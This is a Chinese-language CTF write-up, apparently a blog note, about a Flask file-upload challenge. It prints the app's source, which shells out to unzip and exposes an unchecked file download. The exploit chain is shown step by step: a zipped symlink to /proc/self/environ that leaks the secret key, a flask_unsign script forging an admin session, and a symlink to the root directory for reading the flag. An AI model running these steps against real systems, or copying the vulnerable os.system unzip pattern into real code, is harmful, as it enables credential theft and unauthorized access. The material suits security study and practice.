待解

为什么环境变量的key不是test?

为什么FileSystem不能通过proc/self/environ访问env文件?

前置知识

proc/self/environ

flask_session

1
2
3
4
5
6
7
8
9
10
11
12
13
import flask_unsign

# 要伪造的数据
data = {
"username": "admin1",
"role": "admin"
}
# 已知密钥
secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"

# 生成伪造的session
forged_session = flask_unsign.sign(data, secret=secret)
print(forged_session)

复现

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import os
import uuid
from flask import Flask, request, redirect, url_for,render_template, session, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

def waf(input_str):
# just some waf here to make it ssaaaafffffffffffe


@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")

@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

if waf(dirname):
abort(400, "目录名包含非法字符")

target_dir = os.path.join(UPLOAD_FOLDER, dirname)
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

软链接获得key

1
2
ln -s /proc/self/environ env_link
zip -y ......

session伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
import flask_unsign

# 要伪造的数据
data = {
"username": "admin1",
"role": "admin"
}
# 已知密钥
secret = "bbc77bd26e9f4ea1af87d1ce3c11e3c4"

# 生成伪造的session
forged_session = flask_unsign.sign(data, secret=secret)
print(forged_session)

软链接到根目录

注意到源码 waf使得我们只能通过download访问uploads目录下的当前用户文件
因此我们软链接构造一个/app/uploads/root文件 -> /
这样就可以通过/download/root 访问到根目录 获得flag